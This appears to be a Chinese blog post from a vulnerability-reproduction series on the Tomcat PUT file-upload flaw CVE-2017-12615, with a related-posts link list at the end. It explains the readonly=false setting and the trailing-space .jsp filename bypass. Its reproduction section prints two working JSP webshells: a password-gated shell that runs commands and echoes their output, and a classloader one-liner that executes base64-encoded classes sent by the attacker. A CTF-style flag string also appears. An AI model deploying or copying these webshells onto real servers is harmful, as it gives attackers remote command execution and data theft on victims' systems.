一、【漏洞复现系列】Tomcat文件上传 (CVE-2017-12615)

1.1、漏洞原理

描述: Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的: 而其他的静态文件是通过 DefaultServlet 处理的: 可以得知,"1.jsp "(末尾有一个空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时: 会调用 resources.bind: dirContext 为 FileDirContext: 调用 rebind 创建文件: 又由于Windows 不允许" "作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

复制代码
<servlet>

    <servlet-name>defaultservlet-name>

    <servlet-class>org.apache.catalina.servlets.DefaultServletservlet-class>

    <init-param>

        <param-name>debugparam-name>

        <param-value>0param-value>

    init-param>

    <init-param>

        <param-name>listingsparam-name>

        <param-value>falseparam-value>

    init-param>

    <init-param>

        <param-name>readonlyparam-name>

        <param-value>falseparam-value>

    init-param>

    <load-on-startup>1load-on-startup>

servlet>

1.2、影响范围(不重要,去试就行)

Apache Tomcat 7.0.0 - 8.0.81

1.3、 漏洞指纹

tomcat

8009

ajp

\x04\x01\xf4\x00\x15

1.4、漏洞复现

如下是回显jsp马

复制代码
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); } %>

如下是连接的jsp一句话木马,,密码是passwd

复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}

相关推荐
ShoreKiten8 小时前
ctfshowweb361--一道题从0入门SSTI模板注入
web安全·flask·ssti·ctfshow
独行soc16 小时前
2026年渗透测试面试题总结-25(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
AC赳赳老秦18 小时前
2026 智能制造趋势:DeepSeek 助力“黑灯”工厂运营,实现生产流程自动化
网络·数据结构·算法·安全·web安全·prometheus·deepseek
一名优秀的码农19 小时前
vulhub系列-03-Billu_b0x(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
独行soc19 小时前
2026年渗透测试面试题总结-26(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
临水逸1 天前
飞牛fnos 2025 漏洞Java跨域URL浏览器
java·开发语言·安全·web安全
独行soc1 天前
2026年渗透测试面试题总结-24(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
正义的彬彬侠1 天前
Hashcat 使用手册:从入门到高级密码恢复指南
安全·web安全·网络安全·渗透测试·hashcat
一名优秀的码农1 天前
vulhub系列-02-Raven2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
AC赳赳老秦2 天前
轻量化模型浪潮下的关键技术突破:DeepSeek INT4量化优化引领2026端侧算力新纪元
网络·安全·mongodb·web安全·flink·prometheus·deepseek